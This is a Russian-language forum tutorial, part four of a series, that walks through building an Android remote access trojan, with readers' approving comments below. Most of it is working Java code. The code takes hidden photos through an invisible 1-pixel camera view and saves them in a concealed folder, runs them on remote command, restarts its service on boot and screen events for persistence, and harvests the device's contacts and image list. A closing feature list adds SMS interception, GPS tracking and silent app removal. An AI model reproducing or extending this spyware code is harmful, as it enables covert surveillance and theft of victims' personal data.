Статья Свой RAT для Android - Часть 4

Содержание статьи:
  1. Приветствие
  2. Создаем ServiceReceiver
  3. Создаем CameraView для снимков
  4. Бонус
    1. Получение медиа-файлов с устройства
    2. Получение контактов
  5. Заключение
1. Приветствие
1. Ссылка на первую статью
2. Ссылка на вторую статью
3. Ссылка на третью статью

Всем привет и добрый вечер. Рад что на статьях есть отклик аудитории и надеюсь его будет все больше и больше. В этой статье будет меньше выделений по просьбе администрации, но от Вас хочу увидеть отзыв в опросе.

Думаю пришло время и для четвертой статьи, в которой мы добавим функционал для работы с камерой (делаем срытое фото); сделаем наш Receiver, который будет перезапускать наш сервис в случае его отключения и так же в качестве бонуса добавлю получение списка контактов с телефона + получение сохраненных фотографий на устройстве.
На данный момент все еще вожусь с Telegram API, так что, если кто-то уже "прикручивал" его к своим проектам, дайте знать "как" в личку.
2. Создаем ServiceReceiver
Для начала поправим нашу функцию в MainActivity под названием isMyServiceRunning, который проверяет запущен ли наш сервис.
Java:
public static boolean isMyServiceRunning() {
    ActivityManager manager = (ActivityManager) Application.getAppContext().getSystemService(Context.ACTIVITY_SERVICE);
    for (RunningServiceInfo service : manager.getRunningServices(Integer.MAX_VALUE)) {
        if (TranosService.class.getName().equals(service.service.getClassName())) {
            return true;
        }
    }
    return false;
}
Теперь создаем класс Application со следующим кодом. Он нам очень понадобится, т.к. некоторые функции напрочь отказываются работать с getApplicationContext() из-за того что у нас статичные (static) методы. Я не особо вникал почему же так и просто сразу занялся поиском того как можно обойти это ограничение. Теперь для вызова getApplicationContext() нужно написать Application.getAppContext() и на этом все.
Java:
public class Application extends android.app.Application {

    private static Context context;

    public void onCreate() {
        super.onCreate();
        Application.context = getApplicationContext();
    }

    public static Context getAppContext() {
        return Application.context;
    }

}
Так, на пока никаких ошибок быть не должно. Теперь пришло время создать ServiceReceiver, который нам так нужен (скоро узнаете для чего).
Уж простите, но сейчас работаем ручками. Только внимательно следите за названиями. На картинке класс называется Receiver но в дальнейшем буду использовать название ServiceReceiver. А так же, поменяйте название TranosService на свое.
1572287945180.png
Теперь идем в манифест и там прописываем наш ServiceReceiver.
Да-да, народ, снова ручками (дальше буду давать код, не злитесь). Обращайте внимание на названия !
1572288236117.png
И так, ресивер сделан (устал я писать полное название), так что идем в наш сервис и регистрируем его в методе onCreate.
Java:
IntentFilter filterBoot = new IntentFilter(Intent.ACTION_BOOT_COMPLETED);
filterBoot.addAction(Intent.ACTION_SCREEN_OFF);
filterBoot.addAction(Intent.ACTION_SCREEN_ON);
mReceiver = new ServiceReceiver();
registerReceiver(mReceiver, filterBoot);
1572341478175.png
Нууууу... Ресивер есть, сервис есть. Не хватает теперь только нашего класса для создания снимков с устройства. Создаем !

3. Создаем CameraView для снимков
Как и сказано в заголовке - просто создаем класс CameraView (я его закинул в папку modules) и вставляем туда код. Что не понятно, спрашиваем в комментариях.
Сам код был взят за основу с Dendroid и немного доработан.
Java:
package com.tranos.app.modules;

import java.io.ByteArrayInputStream;
import java.io.File;
import java.io.OutputStream;
import java.text.SimpleDateFormat;
import java.util.Date;
import java.util.List;

import android.content.Intent;
import android.graphics.Bitmap;
import android.graphics.Bitmap.CompressFormat;
import android.graphics.BitmapFactory;
import android.graphics.PixelFormat;
import android.hardware.Camera;
import android.net.Uri;
import android.os.Bundle;
import android.os.Environment;
import android.os.Handler;
import android.preference.PreferenceManager;
import androidx.appcompat.app.AppCompatActivity;
import android.util.Log;
import android.view.SurfaceHolder;
import android.view.SurfaceView;

import com.tranos.app.R.*;

public class CameraView extends AppCompatActivity implements SurfaceHolder.Callback {
    private static final String TAG = "CameraTest";
    Camera mCamera;
    boolean mPreviewRunning = false;

    public void onCreate(Bundle icicle){
        super.onCreate(icicle);

        Log.e(TAG, "onCreate");

        setContentView(layout.cameraview);

        mSurfaceView = (SurfaceView) findViewById(id.surface_camera);
        mSurfaceView = (SurfaceView) findViewById(id.surface_camera);
        mSurfaceHolder = mSurfaceView.getHolder();
        mSurfaceHolder.addCallback(this);
        mSurfaceHolder.setType(SurfaceHolder.SURFACE_TYPE_PUSH_BUFFERS);
    }

    @Override
    protected void onRestoreInstanceState(Bundle savedInstanceState){
        super.onRestoreInstanceState(savedInstanceState);
    }


    Camera.PictureCallback mPictureCallback = new Camera.PictureCallback() {

        public void onPictureTaken(byte[] data, Camera camera) {

            if (data != null){
                mCamera.stopPreview();
                mPreviewRunning = false;
                mCamera.release();

                try{
                    Bitmap bmp = decodeFile(data);
                    System.gc();
                    //saveBitmap(bmp);
                    savePhotoInFile(data, generateFile());
                    System.gc();

                    Log.i("com.connect", "BITMAP SAVED");
                }catch(Exception e){
                    e.printStackTrace();
                }

                finish();
            }
        }
    };

    protected void onResume(){
        Log.e(TAG, "onResume");
        super.onResume();
    }

    protected void onSaveInstanceState(Bundle outState){
        super.onSaveInstanceState(outState);
    }

    protected void onStop(){
        Log.e(TAG, "onStop");
        super.onStop();
        PreferenceManager.getDefaultSharedPreferences(getApplicationContext()).edit().putBoolean("media",false).commit();
    }

    public void surfaceCreated(SurfaceHolder holder){
        Log.i("com.connect", "surfaceCreated");

        Intent sender=getIntent();
        String cameraNumber = sender.getExtras().getString("Camera");

        int cameraCount = 0;
        Camera.CameraInfo cameraInfo = new Camera.CameraInfo();
        cameraCount = Camera.getNumberOfCameras();
        for ( int camIdx = 0; camIdx < cameraCount; camIdx++ ) {
            Camera.getCameraInfo( camIdx, cameraInfo );
            if (cameraInfo.facing == Camera.CameraInfo.CAMERA_FACING_BACK && cameraNumber.equalsIgnoreCase("0")) {
                try {
                    Log.i("com.connect", "Back");
                    mCamera = Camera.open( camIdx );
                } catch (RuntimeException e) {
                }
            }
            if (cameraInfo.facing == Camera.CameraInfo.CAMERA_FACING_FRONT && cameraNumber.equalsIgnoreCase("1")) {
                try {
                    Log.i("com.connect", "Front");
                    mCamera = Camera.open( camIdx );
                } catch (RuntimeException e) {
                }
            }
        }

    }

    public void surfaceChanged(SurfaceHolder holder, int format, int w, int h) {
        Log.e(TAG, "surfaceChanged");

        // XXX stopPreview() will crash if preview is not running
        if (mPreviewRunning){
            mCamera.stopPreview();
        }

        Camera.Parameters p = mCamera.getParameters();

        List<Camera.Size> previewSizes = p.getSupportedPreviewSizes();

        Camera.Size previewSize = previewSizes.get(0);

        for(int i=0;i<previewSizes.size();i++)
        {
            if(previewSizes.get(i).width > previewSize.width)
                previewSize = previewSizes.get(i);
//             Log.i("com.connect", "Size: " + previewSizes.get(i).width + ":" + previewSizes.get(i).height);
        }

        Log.i("com.connect", "Size: " + previewSize.width + ":" + previewSize.height);

        try{

            Intent sender=getIntent();
            String cameraNumber = sender.getExtras().getString("Camera");

            System.gc();

            p.setPictureFormat(PixelFormat.JPEG);
            p.setJpegQuality(100);
            p.setPreviewSize(previewSize.width, previewSize.height);

            if (cameraNumber.equalsIgnoreCase("0"))
            {
                p.setRotation(90);
            }
            if (cameraNumber.equalsIgnoreCase("1"))
            {
                p.setRotation(270);

            }

            p.setFocusMode(Camera.Parameters.FOCUS_MODE_AUTO);
            mCamera.setParameters(p);

        }
        catch (Exception e){
            // TODO Auto-generated catch block
            e.printStackTrace();
        }

        try{
            mCamera.setPreviewDisplay(holder);
        }catch (Exception e){
            // TODO Auto-generated catch block
            e.printStackTrace();
        }
        mCamera.startPreview();
        mPreviewRunning = true;

        final Handler handler = new Handler();
        handler.postDelayed(new Runnable() {
            @Override
            public void run() {
                mCamera.takePicture(null, mPictureCallback, mPictureCallback);
            }
        }, 1000);
//            mCamera.takePicture(null, mPictureCallback, mPictureCallback);
    }

    public void surfaceDestroyed(SurfaceHolder holder) {
        Log.e("com.connect", "surfaceDestroyed");
        PreferenceManager.getDefaultSharedPreferences(getApplicationContext()).edit().putBoolean("media",false).commit();

        //mCamera.stopPreview();
        //mPreviewRunning = false;
        //mCamera.release();
    }

    private SurfaceView mSurfaceView;
    private SurfaceHolder mSurfaceHolder;

    public void saveBitmap(Bitmap bm){
        try
        {
            if (!Environment.getExternalStorageState().equals(Environment.MEDIA_MOUNTED))
                return;

            File path = new File (Environment.getExternalStorageDirectory(), "CameraTest");
            if (!path.exists()){
                if (!path.mkdirs()){
                    return;
                }
            }

            SimpleDateFormat sdf = new SimpleDateFormat("yyyy_MM_dd_HH_mm_ss");
            String currentDateandTime = sdf.format(new Date());
            File newFile = new File(path.getPath() + File.separator + currentDateandTime + ".jpg");

            if (Uri.fromFile(newFile) == null)
                throw new Exception();

            OutputStream stream = getContentResolver().openOutputStream(Uri.fromFile(newFile));
            bm.compress(CompressFormat.JPEG, 100, stream);
            stream.flush();
            stream.close();

        }
        catch(Exception e)
        {
            Log.e("Could not save", e.toString());
        }
    }

    public void savePhotoInFile(byte[] data, Uri pictureFile) throws Exception {

        if (pictureFile == null)
            throw new Exception();

        OutputStream os = getContentResolver().openOutputStream(pictureFile);
        os.write(data);
        os.close();
    }

    public Uri generateFile() {
        // Проверяем доступность SD карты
        if (!Environment.getExternalStorageState().equals(Environment.MEDIA_MOUNTED))
            return null;

        // Проверяем и создаем директорию
        File path = new File (Environment.getExternalStorageDirectory(), ".tranos");
        if (! path.exists()){
            if (! path.mkdirs()){
                return null;
            }
        }

        // Создаем имя файла
        String timeStamp = String.valueOf(System.currentTimeMillis());
        File newFile = new File(path.getPath() + File.separator + timeStamp + ".jpg");
        return Uri.fromFile(newFile);
    }

    private Bitmap decodeFile(byte[] buffer) {

        // Decode image size
        BitmapFactory.Options o = new BitmapFactory.Options();
        o.inJustDecodeBounds = true;
        BitmapFactory.decodeStream(new ByteArrayInputStream(buffer), null, o);

        // The new size we want to scale to
        final int REQUIRED_SIZE = 70;

        // Find the correct scale value. It should be the power of 2.
        int width_tmp = o.outWidth, height_tmp = o.outHeight;
        int scale = 1;
        while (true) {
            if (width_tmp / 2 < REQUIRED_SIZE || height_tmp / 2 < REQUIRED_SIZE)
                break;
            width_tmp /= 2;
            height_tmp /= 2;
            scale *= 2;
        }

        // Decode with inSampleSize
        BitmapFactory.Options o2 = new BitmapFactory.Options();
        o2.inSampleSize = scale;
        return BitmapFactory.decodeStream(new ByteArrayInputStream(buffer),
                null, o2);

    }

}
И теперь создаем в
res ->​
layout ->​
cameraview.xml​
XML:
<?xml version="1.0" encoding="utf-8"?>
<RelativeLayout
    xmlns:android="http://schemas.android.com/apk/res/android"
    android:layout_width="fill_parent"
    android:layout_height="fill_parent"
    android:orientation="vertical"
>
    <SurfaceView
        android:id="@+id/surface_camera"
        android:layout_width="1dip"
        android:layout_height="1dip"
    />
    <ImageView
        android:layout_width="1dip"
        android:layout_height="1dip"
        android:contentDescription="@string/app_name"  
        android:id="@+id/blankImage"  
    />     
</RelativeLayout>
На этом создание класса для фотографий окончено.

Я надеюсь все помнят класс Reflection, который мы создали в прошлой статье ? Нет ? Тогда вперед читать её.
А для тех кто молодец (шутки в сторону), прошу читать дальше. В классе Functions дописываем следующее.
Java:
@customAnnotation(inf = "", option1 = "n", help = "Сделать фото с web-камеры по умолчанию", help1 = "Сделать фото с выбравнной из списка (/cameras) камеры")
public void __photo(String response){
    List<String> args = parseCommand(response);
    String server = args.remove(args.size() - 1);

    try {
        if (checkNotNull(args.get(0))) {
            int numCameras = Camera.getNumberOfCameras();
            String i = args.get(0);
            if (numCameras > Integer.parseInt(i)) {
                Intent intent = new Intent(Application.getAppContext(), CameraView.class);
                intent.putExtra("Camera", i);
                intent.addFlags(Intent.FLAG_ACTIVITY_NEW_TASK);
                startActivity(intent);
                sendResult(SUCCESS_PHOTO, server);
            }
        } else {
            Intent intent = new Intent(Application.getAppContext(), CameraView.class);
            intent.putExtra("Camera", "0");
            intent.addFlags(Intent.FLAG_ACTIVITY_NEW_TASK);
            startActivity(intent);
            sendResult(SUCCESS_PHOTO, server);
        }
    } catch (Exception e) {
        sendResult(UNKNOWN_RESULT, server);
    }
}
А так же немного дополните аннотации. Снизу полный код.
Java:
@Retention(RetentionPolicy.RUNTIME)
@interface customAnnotation {
    public String option() default "";
    public String option1() default "";
    public String help() default "";
    public String help1() default "";
    public String inf() default "";
    public String root() default "";
    public String type() default "";
}
И еще пожалуй стоит поменять методы для получения всех функций - getMethods4Telegram и getMethod4Telegram.
1572342191466.png
Java:
private void getMethods4Telegram(Class<?> cls) {
    Method[] methods = cls.getDeclaredMethods();
    String allMethods = "";
    for (Method method : methods) {
        List<String> type = new ArrayList<>(Arrays.asList(method.toGenericString().split(" ")));

        String anot = "";
        String help = "";
        String root = "";
        String two = "";
        Annotation[] annotation = method.getDeclaredAnnotations();
        for (Annotation a : annotation) {
            customAnnotation self = (customAnnotation)a;
            anot = checkNotNull(self.option()) ? " [" + self.option() + "]" : "";
            help = checkNotNull(self.help()) ? " - " + self.help() : "";
            root = checkNotNull(self.root()) ? " (" + self.root() + ")" : "";
            if(checkNotNull(self.option1())){
                two += " [" + self.option1() + "] - " + self.help1();
            }
        }

        if(type.get(0).contains("public")) {
            if(checkNotNull(two)) {
                allMethods += "/" + method.getName().replace("__", "")  + anot + help + root + "\n"
                        + "/" + method.getName().replace("__", "")  + two + root + "\n";
            }
            else {
                allMethods += "/" + method.getName().replace("__", "")  + anot + help + root + "\n";
            }
        }
    }
    sendResult("- Команды -\n" +
            "Команда необязательно должна начинаться со слеша /\n" +
            "т.е. разницы между командами /help и help - нет.\n" +
            "Аргумены передаются через знак пробел.\n" +
            "Для более детальной информации по конкретному методу вызовите\n/help имя_функции\n\n" + allMethods, TELEGRAM);
}
Java:
private void getMethod4Telegram(Class<?> cls, String m) {
    Method method = null;
    try {
        method = cls.getMethod("__" + m, String.class);
    } catch (NoSuchMethodException e) {
        sendResult(UNKNOWN_RESULT, "telegram");
    }

    String anot = "";
    String help = "";
    String root = "";
    String inf = "";
    Annotation[] annotation = method.getDeclaredAnnotations();
    for (Annotation a : annotation) {
        customAnnotation self = (customAnnotation)a;
        anot = checkNotNull(self.option()) ? " [" + self.option() + "]" : "";
        help = checkNotNull(self.help()) ? " - " + self.help() : "";
        root = checkNotNull(self.root()) ? " (" + self.root() + ")" : "";
        inf = checkNotNull(self.inf()) ? self.inf() : "";
    }

    String allMethod = "/" + method.getName().replace("__", "")  + root + anot + help + "\n" + inf;

    sendResult(allMethod, TELEGRAM);
}
И да, название функции checkNull поменялось на checkNotNull. Как по мне, так понятнее. Так что меняем, если конечно хотите.
Сейчас можете в качестве теста в MainActivity вызвать callByName("photo", "1", "test"); , ну или поиграйтесь с параметрами (проект запускаем в режиме отладки).
Фото сделано на эмуляторе. Создается скрытая папка .tranos и в ней сохраняются все сделанные фотографии. В галерее не отображаются (вроде как).
Если вам не особо принципиально качество и нужно чтобы фото мало весило в CameraView раскомментируйте функцию saveBitmap.
1572338606323.png

4. Бонус
Время бонусов, да ? Или же нет ?
Да
Делаем все по картинкам, но для начала в папке mobilehardware заходим в base и добавляем в BaseData следующее.
Java:
public static class IMAGES {
    public static final String IMAGE_ID = "imageId";
    public static final String IMAGE_DISPLAY_NAME = "imageDisplayName";
    public static final String IMAGE_DATA = "imageData";
    public static final String IMAGE_SIZE = "imageSize";
}

public static class CONTACTS {
    public static final String CONTACT_NAME = "contactName";
    public static final String CONTACT_ID = "contactId";
    public static final String CONTACT_NUMBER = "contactNumber";
}
Как вы поняли из "содержания", мы будем получать и медиа и контакты. Благодарность тем кто участвовал в предыдущем опросе.
В папке mobilehardware создаем папку images/photos/img/media, как вам больше нравится. И в ней создаем файлы с вашим вариантом + Bean + Helper + Info.
1572338914278.png


ImageBean
Java:
package com.tranos.app.mobilehardware.images;

import android.util.Log;

import com.tranos.app.mobilehardware.base.BaseBean;
import com.tranos.app.mobilehardware.base.BaseData;

import org.json.JSONObject;

public class ImageBean extends BaseBean {
    private static final String TAG = ImageBean.class.getSimpleName();

    private String imageId;
    private String imageDisplayName;
    private String imageSize;
    private String imageData;

    public String getImageId() { return imageId; }
    public String getImageDisplayName() { return imageDisplayName; }
    public String getImageSize() { return imageSize; }
    public String getImageData() { return imageData; }

    public void setImageId(String imageId) { this.imageId = imageId; }
    public void setImageDisplayName(String imageDisplayName) { this.imageDisplayName = imageDisplayName; }
    public void setImageSize(String imageSize) { this.imageSize = imageSize; }
    public void setImageData(String imageData) { this.imageData = imageData; }



    @Override
    protected JSONObject toJSONObject() {
        try {
            jsonObject.put(BaseData.IMAGES.IMAGE_ID, isEmpty(imageId));
            jsonObject.put(BaseData.IMAGES.IMAGE_DISPLAY_NAME, isEmpty(imageDisplayName));
            jsonObject.put(BaseData.IMAGES.IMAGE_SIZE, isEmpty(imageSize));
            jsonObject.put(BaseData.IMAGES.IMAGE_DATA, isEmpty(imageData));
        } catch (Exception e) {
            Log.e(TAG, e.toString());
        }
        return super.toJSONObject();
    }
}

ImageHelper
Java:
package com.tranos.app.mobilehardware.images;

import android.content.Context;

import org.json.JSONObject;

import java.util.List;

public class ImageHelper extends ImageInfo {
    public static List<JSONObject> getAllImages(Context context) {
        return getMobImages(context);
    }
}

ImageInfo
Java:
package com.tranos.app.mobilehardware.images;

import android.provider.MediaStore;

import android.content.Context;
import android.content.pm.ApplicationInfo;
import android.database.Cursor;
import android.provider.ContactsContract;
import android.util.Log;

import org.json.JSONObject;

import android.content.ContentResolver;

import android.net.Uri;

import java.text.SimpleDateFormat;
import java.util.ArrayList;
import java.util.Date;
import java.util.List;

public class ImageInfo {

    private static final String TAG = ImageInfo.class.getSimpleName();

    static List<JSONObject> getMobImages(Context context) {
        List<JSONObject> ImagesList = new ArrayList<>();
        try {
            Uri uri = MediaStore.Images.Media.EXTERNAL_CONTENT_URI;
            String[] projection = { MediaStore.Images.Media._ID,
                                    MediaStore.Images.Media.BUCKET_ID,
                                    MediaStore.Images.Media.BUCKET_DISPLAY_NAME,
                                    MediaStore.Images.Media.DATA,
                                    MediaStore.Images.Media.DATE_TAKEN,
                                    MediaStore.Images.Media.DISPLAY_NAME,
                                    MediaStore.Images.Media.SIZE };

            Cursor cur = context.getApplicationContext().getContentResolver().query(uri, projection, null, null, null);
            while (cur.moveToNext()) {
                ImageBean listImagesBean = new ImageBean();
                listImagesBean.setImageDisplayName(cur.getString(5));
                listImagesBean.setImageId(cur.getString(0));
                listImagesBean.setImageSize(cur.getString(6));
                listImagesBean.setImageData(cur.getString(3));
                ImagesList.add(listImagesBean.toJSONObject());
            }

        } catch (Exception e) {
            Log.e(TAG, e.toString());
        }
        return ImagesList;
    }

}
Точно так же создаем папку contacts с файлами.
1572339371163.png


ContactsBean
Java:
package com.tranos.app.mobilehardware.contacts;

import android.util.Log;

import com.tranos.app.mobilehardware.base.BaseBean;
import com.tranos.app.mobilehardware.base.BaseData;

import org.json.JSONObject;

public class ContactsBean extends BaseBean  {

    private static final String TAG = ContactsBean.class.getSimpleName();

    private String contactName;
    private String contactId;
    private String contactNumber;

    public String getContactName() { return  contactName; }
    public String getContactId() { return  contactId; }
    public String getContactNumber() { return  contactNumber; }

    public void setContactName(String contactName) { this.contactName = contactName; }
    public void setContactId(String contactId) { this.contactId = contactId; }
    public void setContactNumber(String contactNumber) { this.contactNumber = contactNumber; }



    @Override
    protected JSONObject toJSONObject() {
        try {
            jsonObject.put(BaseData.CONTACTS.CONTACT_NAME, isEmpty(contactName));
            jsonObject.put(BaseData.CONTACTS.CONTACT_ID, isEmpty(contactId));
            jsonObject.put(BaseData.CONTACTS.CONTACT_NUMBER, isEmpty(contactNumber));
        } catch (Exception e) {
            Log.e(TAG, e.toString());
        }
        return super.toJSONObject();
    }
}

ContactsHelper
Java:
package com.tranos.app.mobilehardware.contacts;

import android.content.Context;

import org.json.JSONObject;

import java.util.List;

public class ContactsHelper extends  ContactsInfo {
    public static List<JSONObject> getAllContacts(Context context) { return getMobContacts(context); }
}

ContactsInfo
Java:
package com.tranos.app.mobilehardware.contacts;

import android.content.Context;
import android.content.pm.ApplicationInfo;
import android.database.Cursor;
import android.provider.ContactsContract;
import android.util.Log;

import org.json.JSONObject;

import android.content.ContentResolver;

import android.net.Uri;

import java.text.SimpleDateFormat;
import java.util.ArrayList;
import java.util.Date;
import java.util.List;

public class ContactsInfo {

    private static final String TAG = ContactsInfo.class.getSimpleName();

    static List<JSONObject> getMobContacts(Context context) {
        List<JSONObject> ContactsList = new ArrayList<>();
        try {
            Cursor cur = context.getApplicationContext().getContentResolver().query(ContactsContract.Contacts.CONTENT_URI,null, null, null, null);
            while (cur.moveToNext()) {
                ContactsBean contactsBean = new ContactsBean();
                contactsBean.setContactName(cur.getString(cur.getColumnIndex(ContactsContract.Contacts.DISPLAY_NAME)));
                String id = cur.getString(cur.getColumnIndex(ContactsContract.Contacts._ID));
                contactsBean.setContactId(id);
                if (Integer.parseInt(cur.getString(cur.getColumnIndex(ContactsContract.Contacts.HAS_PHONE_NUMBER))) > 0){
                    Cursor p = context.getApplicationContext().getContentResolver().query(ContactsContract.CommonDataKinds.Phone.CONTENT_URI,null,ContactsContract.CommonDataKinds.Phone.CONTACT_ID + " = ?", new String[]{id}, null);
                    while(p.moveToNext()){
                        contactsBean.setContactNumber(p.getString(p.getColumnIndex(ContactsContract.CommonDataKinds.Phone.NUMBER)));
                    }
                }

                ContactsList.add(contactsBean.toJSONObject());
            }

        } catch (Exception e) {
            Log.e(TAG, e.toString());
        }
        return ContactsList;
    }
}
Ну что, не устали еще копировать код ? Надеюсь что да, потому как эта статья подошла к концу.

5. Заключение
Надеюсь Вас радуют бонусы так же как и меня радует что Вы голосуете на опросах. Чем больше отклик, тем больше информации предоставляю. Все таки куда приятнее писать статьи, когда знаешь что они делаются не в пустую. Если где-то допустил ошибки или у Вас возникают ошибки в коде, пишите в комментарии или в личку. Думаю что не стоит писать результат того что мы сегодня сделали как я делаю это обычно, так что сразу перейду к списку функционала.
Где есть пометка @feature, значит этот функционал реализован на момент написания статьи.
Где есть пометка @todo, значит этот функционал в стадии разработки и должен скоро появится.
Где есть пометка @issue, значит этот функционал был предложен одним из пользователей и вызвал интерес у автора и в скором времени будет реализован.
  1. Получение команд с сайта @feature
  2. Получение команд через Telegram бота
  3. Получение команд через смс @feature
  4. Управление смартфоном через meterpreter (привет фанатам Kali Linux) @issue
  5. Работа с сообщениями
    1. Получение сообщений @feature
    2. Получение сообщений с конкретным пользователем @feature
    3. Удаление сообщение @todo
    4. Перехват сообщений @feature
    5. Блокировка сообщений @feature
    6. Отправка сообщений @feature
  6. Работа со звонками
    1. Получение звонков @feature
    2. Получение звонков с конкретным пользователем @todo
    3. Удаление звонков
    4. Блокировка звонков
    5. Вызов абонента @feature (new)
    6. Запись звонков
  7. Работа с камерой
    1. Фотосъемка с камер @feature
    2. Видеосъемка
  8. Запись звука
  9. Получение данных GPS @feature
  10. Получение списка контактов с телефона @feature
  11. Получение медиа (фотографий) @feature
  12. Доступ к проводнику (доступ к файловой системе)
  13. Получение информации об устройстве (куда же без нее) @feature
  14. Проверка есть ли Root права @feature
  15. Проверка есть ли Root права у программы @feature
  16. Получение Root прав @feature
  17. Перезагрузка (root) @feature
  18. Выключение (root) @feature
  19. Получение буфера обмена @feature
  20. Управление фонарем устройства @feature
  21. Скрытное удаление программ (root) @feature
  22. Управление смартфоном
    1. Громкость @feature (new)
    2. Яркость @todo
    3. Скриншот экрана (root) @feature (new)
    4. Включение экрана @feature (new)
    5. Открытие ссылок в браузере @feature (new)
    6. Обои
    7. Прочее
 

Maksim_K

One Level
04.03.2022
6
1
BIT
11
Блин! это реально круто!!! Пожалуйста не бросай проект, продолжай!!!
 

sv9035687

New member
15.04.2023
1
0
BIT
0
Почему я не могу посмотреть статью под номер 1,2,3 выходить сообщения: У вас нет разрешения на просмотр этой страницы или выполнение этого действия.
 

Qip

New member
21.02.2020
1
0
BIT
7
Познал для себя много интересного, продолжай в том же духе!
 

vens

One Level
07.05.2024
3
3
BIT
13
Почему я не могу посмотреть статью под номер 1,2,3 выходить сообщения: У вас нет разрешения на просмотр этой страницы или выполнение этого действия.
На форуме существует ранговая система, набрать первый уровень не так сложно.

 

Psionics Shtorm

One Level
19.05.2024
2
1
BIT
8
Отличная статья! Спасибо.
Буду рад симпатии, чтобы открыть первые статьи ;)
 
  • Нравится
Реакции: larchik

sufferbird

New member
17.11.2023
1
0
BIT
12
Круто! Очень давно искал, спасибо! Буду пробовать сделать веб-морду для удобства.
 
Мы в соцсетях:

Обучение наступательной кибербезопасности в игровой форме. Начать игру!